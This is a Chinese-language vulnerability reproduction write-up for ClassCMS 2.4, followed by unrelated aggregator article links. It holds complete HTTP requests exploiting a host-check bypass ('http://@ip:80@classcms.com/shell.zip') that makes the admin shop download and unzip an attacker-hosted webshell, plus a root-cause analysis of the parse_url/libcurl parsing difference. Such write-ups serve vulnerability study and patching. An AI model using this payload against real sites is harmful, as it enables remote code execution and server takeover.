ClassCMS2.4漏洞复现

  • ClassCMS2.4漏洞复现

    • 环境搭建

    • 任意文件下载漏洞复现

    • 漏洞成因

ClassCMS2.4漏洞复现

CMS源码在附件中

环境搭建

使用phpstudy2016搭建web环境,php版本为5.5
安装CMS
这里选择Mysql数据库进行安装

图片

用户名和密码都写默认的admin方便记忆
输入完成后点击安装

图片

点击安装

图片

CMS的安装过程中有个报错忽略就好,登录不进后台的话刷新一下页面

进入了ClassCMS的后台

图片

任意文件下载漏洞复现

在后台访问应用商店

图片

任意点击一个下载

图片


进入下载页面后点击 下载 进行抓包

图片

我们先放掉第一个包

图片

POST /admin?do=shop:index&ajax=1&action=fileurl&from=install HTTP/1.1Host: 192.168.12.144Content-Length: 47Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/98.0.4758.102 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.12.144Referer: http://192.168.12.144/admin?do=shop:index&bread=%E8%B0%83%E8%AF%95%E5%BC%80%E5%85%B3&action=detail&classhash=debugswitchAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_9a9fe8=e0c7aacedb82db0c1522667cbf0bc806; csrf_9a9fe8=b472e230Connection: closeclasshash=debugswitch&version=1.0&csrf=b472e230

然后修改第二个请求包

图片

//第二个数据包POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1Host: classcmsContent-Length: 85Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.159.1Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreateAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=338ceb00Connection: closeclasshash={dir}&url=http://@{ip}:{port}@classcms.com/{shell.zip}&csrf=b472e230

数据包参数解析

classhash为解压出来的最后文件名url为了绕过过滤设成如下形式http://@ip:80@classcms.com/shell.zip远程ip端口(默认80也需要加上),一个包含木马文件(shell.php)的zip压缩包csrf参数不动即可发送之后返回:下载完成就说明已经成功被下载到目标服务器上并解压最后访问url即可执行上传上的木马getshellhttp://ip/class/{classhash的值}/{上传压缩包中的木马文件}

我们安装上面的格式修改数据包上传一个木马文件

先在网站根目录创建一个木马文件,然后把他压缩成压缩包

图片

图片

然后再重新构建第二个数据包

//第二个数据包POST /admin666?do=shop:downloadClass&ajax=1 HTTP/1.1Host: classcmsContent-Length: 85Accept: application/json, text/javascript, */*; q=0.01X-Requested-With: XMLHttpRequestUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36Content-Type: application/x-www-form-urlencoded; charset=UTF-8Origin: http://192.168.159.1Referer: http://192.168.159.1/ClassCMS/admin666?do=shop:index&bread=%E5%BA%94%E7%94%A8%E5%BC%80%E5%8F%91&action=detail&classhash=classcreateAccept-Encoding: gzip, deflateAccept-Language: zh-CN,zh;q=0.9Cookie: token_2ab421=5d012ca838cc5f0aff02c44c8e2c91e7; csrf_2ab421=b472e230Connection: closeclasshash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=338ceb00

上传之前创建的shell.zip
classhash=shell&url=http://@192.168.12.144:80@classcms.com/shell.zip&csrf=b472e230
直接修改数据包后放包也可以
 

图片


把修改后的数据包提交
 

图片


提交成功

图片

访问http://192.168.12.144/class/shell/shell.php
 

图片


可以看到木马上传成功了,在本地也可以看到下载的shell.zip文件

图片

漏洞成因

经白盒测试发现在/class/shop/shop.php中
通过全局搜索,“下载完成”定位到此处

图片

图片


一处为在downloadClass函数中一处在upgradeClass函数中,观察功能显然是在downloadClass
 

图片


this(当前文件shop.php)->download函数下,定位到关键函数download
 

图片

图片


函数首先获取了默认允许的host,在this(前文件下)->defaultHost函数中
定位函数defaultHost

图片


只允许 classcms.com;classcms.uuu.la
然后将我们传入的url (这里是http://http://192.168.12.144/shell.zip) 通过parse_url函数解析后在判断是否是在数组中
我们的攻击url也就是down在了这里,那么目标就是绕过这个判断然后执行接下来的curl命令​​​​​​​

if(!isset($checkurl['host']) || !in_array($checkurl['host'],$hosts)) {Return false;}

前一个条件存在是肯定满足的,那么只需要让经过parse_url解析过的host键值和数组相等即可

这里利用php中的parse_url函数和lib_curl对url的解析差异,导致了对host的过滤失效来进行绕过

php-curl拓展解析的url host在第首个@之后
而parse_url则是最后一个@之后
所以构造处payload

http://@http://192.168.12.144:80@classcms.com/shell.zip

看到这里了,点个“赞”、“再看”吧​​​​​​​

免费领取安全学习资料包!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/news/185404.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

【性能测试】性能测试监控关键指标

系统指标 检测性能测试是否有bug的关键指标 1、系统指标——与用户场景及需求直接相关。 并发用户数:某一物理时刻同时向系统提交请求的用户数。平均响应时间:系统处理事务的响应时间的平均值,对于系统快速响应类页面,一般响应…

货代FOB条款卖方必备的知识:发货人都要承担哪些费用呢?

据统计,中国出口中以FOB成交的占到70%,但专家指出:FOB对出口商的风险更大,有可能造成货、款两空的结局。 目前我国出口合同以FOB价格条款成交的比例越来越大,而且收货人指定船公司的少,指定境外货代的多&am…

建设银行新余市分行积极开展国债下乡宣传活动

近日,为了普及国债知识,提高农村居民对国债的认知度和投资意识,建设银行新余市分行组织员工前往下村开展了一场国债下乡宣传活动。 活动当天,工作人员早早地来到了下乡地点,悬挂起了国债宣传横幅,并摆放了…

ESP32-Web-Server编程- 使用SSE 实时更新设备信息

ESP32-Web-Server编程- 使用SSE 实时更新设备信息 概述 如前所述,传统 HTTP 通信协议基于 Request-Apply(请求-响应)机制,浏览器(客户端)只能单向地向服务器发起请求,服务器无法主动向浏览器推…

java源码-数组

背景 上传图片,需要对图片格式进行校验,这是就可以使用数组 1、什么是数组? Java 语言中提供的数组是用来存储固定大小的同类型元素。 如:可以声明一个数组变量,如 numbers[100] 来代替直接声明 100 个独立变量 numb…

替代升级虚拟化 | ZStack Cloud云平台助力中节能镇江公司核心业务上云

数字经济正加速推动各行各业的高质量升级发展,云计算是数字经济的核心底层基础设施。作为云基础软件企业,云轴科技ZStack 坚持自主创新,自研架构,产品矩阵可全面覆盖数据中心云基础设施,针对虚拟化资源实现纳管、替代和…

用按层次顺序遍历二叉树的方法,设计算法统计树中度为1的结点数目

用按层次顺序遍历二叉树的方法,设计算法统计树中度为1的结点数目 代码思路: 层序遍历的实现需要借助一个辅助队列 首先将根结点入队,然后根出队,把根的两个子树入队 然后下面循环执行:队头元素出队,队头元…

如何通过降低设备六大损失帮助企业改善OEE

在各个行业中,改善设备综合效率OEE(Overall Equipment Efficiency)是企业实现高效生产和竞争优势的关键。然而,设备的六大损失常常影响着企业的OEE指标。本文将探讨如何通过降低这六大损失来帮助企业改善OEE,提高生产效…

2023年掌控安全学院CTF暖冬杯——数据流分析

前言:打工仔一枚,第一波上新的3题misc 做完了 再打ISCTF随便记录一下 PS:环境关了,题目描述忘记了,反正就是找flag。 筛选HTTP数据流 导出数据流慢慢看 ctrl F 搜flag 看到一条 有flag.txt 的数据 导出另存.zip 这里…

洗袜子的洗衣机哪款好?内衣洗衣机便宜好用的牌子

不得不说洗衣机的发明解放了我们的双手,而我们从小到大就有这个意识,贴身衣物不可以和普通的衣服一起丢进去洗衣机一起,而内衣裤上不仅有肉眼看见的污渍还有手上根本无法消灭的细菌,但是有一款专门可以将衣物上的细菌杀除的内衣洗…

java设计模式学习之【建造者模式】

文章目录 引言建造者模式简介定义与用途实现方式: 使用场景优势与劣势建造者模式在spring中的应用CD(光盘)的模拟示例UML 订单系统的模拟示例UML 代码地址 引言 建造者模式在创建复杂对象时展现出其强大的能力,特别是当这些对象需…

docker集群的详解以及超详细搭建

文章目录 一、问题引入1. 多容器位于同一主机2. 多容器位于不同主机 二、介绍三、特性四、概念1. 节点nodes2. 服务(service)和任务(task)3. 负载均衡 五、docker网络1. overlay网络 六、docker集群搭建1. 环境介绍2. 创建集群3. 集群网络4. 加入工作节点 七、部署可视化界面po…

数学建模-基于脑出血患者院前指标的多种机器学习预测模型构建及比较研究

基基于脑出血患者院前指标的多种机器学习预测模型构建及比较研究 整体求解过程概述(摘要) 卒中是全球致残率、致死率最高的疾病之一,其中脑出血(Intracerebral hemorrhage,ICH)患者仅占卒中患者的 20%,但致残、死亡人…

【Linux】ln命令使用

ln命令 ln是linux中又一个非常重要命令,请大家一定要熟悉。它的功能是为某一个文件在另外一个位置建立一个同步的链接,这个命令最常用的参数是-s,具体用法是:ln –s 源文件 目标文件。 当我们需要在不同的目录,用到相…

CMIP6数据处理及在气候变化、水文、生态等领域中应用

气候变化对农业、生态系统、社会经济以及人类的生存与发展具有深远影响,是当前全球关注的核心议题之一。IPCC(Intergovernmental Panel on Climate Change,政府间气候变化专门委员会)的第六次评估报告明确;指出&#x…

西班牙Wallapop是什么?原来欧洲版闲鱼也很好用!

说到国内的闲鱼大家肯定不陌生,那国外的二手闲置平台大家知道吗?在西班牙,最受欢迎的移动购物APP是Wallapop和速卖通。Wallapop是西班牙第一大二手商品网站,网站上丰富的性价比高的商品正好满足了西班牙人的需求。今天龙哥就和大家…

Yolov8实现瓶盖正反面检测

一、模型介绍 模型基于 yolov8n数据集采用SKU-110k,这数据集太大了十几个 G,所以只训练了 10 轮左右就拿来微调了 基于原木数据微调:训练 200 轮的效果 10 轮SKU-110k 20 轮原木 200 轮瓶盖正反面 微调模型下载地址https://wwxd.lanzouu.co…

网站提示不安全?

随着互联网的普及和发展,网络安全问题日益严重。黑客攻击、数据泄露、恶意软件等问题层出不穷,给企业和个人带来了巨大的损失。在这个背景下,确保网站安全显得尤为重要,而使用SSL证书是解决这些问题的有效措施。 什么是SSL证书&am…

分享超实用的软文撰写步骤!建议收藏

一想到写软文就头大,根本不知道从哪里下手,这是很多写手在创作过程中会遇到的问题。 一篇软文写得好不好,关键就要看你的创作步骤到不到位,软文创作是有一套可执行的具体方式的,跟着步骤来,你也能轻轻松松…

提升性能测试效率:JMeter中的用户自定义变量!

前言 在测试过程中,我们经常会碰到测试服务地址有改动的情况,为了方便,我们会把访问地址参数化,当访问地址变化了,我们只需要把参数对应的值改动一下就可以了。 一:添加配置元件-用户定义的变量&#xff…